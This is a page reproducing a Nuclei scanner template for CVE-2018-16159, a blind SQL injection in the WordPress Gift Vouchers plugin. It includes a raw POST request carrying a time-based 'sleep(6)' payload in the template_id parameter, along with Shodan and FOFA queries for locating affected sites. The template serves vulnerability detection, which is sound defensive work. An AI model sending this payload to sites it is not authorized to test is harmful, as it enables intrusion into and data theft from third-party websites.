WordPress Gift Voucher <4.1.8 - Blind SQL Injection

ID: CVE-2018-16159

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2018,sqli,wordpress,unauth,wp,gift-voucher,edb,wpscan,wp-plugin,codemenschen

Description

WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2018-16159

info:
  name: WordPress Gift Voucher <4.1.8 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: Fixed in version 4.1.8.
  reference:
    - https://wpscan.com/vulnerability/9117
    - https://wordpress.org/plugins/gift-voucher/
    - https://www.exploit-db.com/exploits/45255/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16159
    - https://wpvulndb.com/vulnerabilities/9117
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16159
    cwe-id: CWE-89
    epss-score: 0.01228
    epss-percentile: 0.85084
    cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: codemenschen
    product: gift_vouchers
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/gift-voucher/"
    fofa-query: body="/wp-content/plugins/gift-voucher/"
  tags: time-based-sqli,cve,cve2018,sqli,wordpress,unauth,wp,gift-voucher,edb,wpscan,wp-plugin,codemenschen

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=wpgv_doajax_front_template&template_id=1 and sleep(6)#

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "images") && contains(body, "title")'
        condition: and
# digest: 490a0046304402202d7c7f024d94083775c869a7dd99d8f7d25469d36bcd7ee53dfdf676307750ba022077b92f41cefc15ade1890d0b711219b38b353b74e683d3b7aa39a712eeba6c98:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-16159.yaml"

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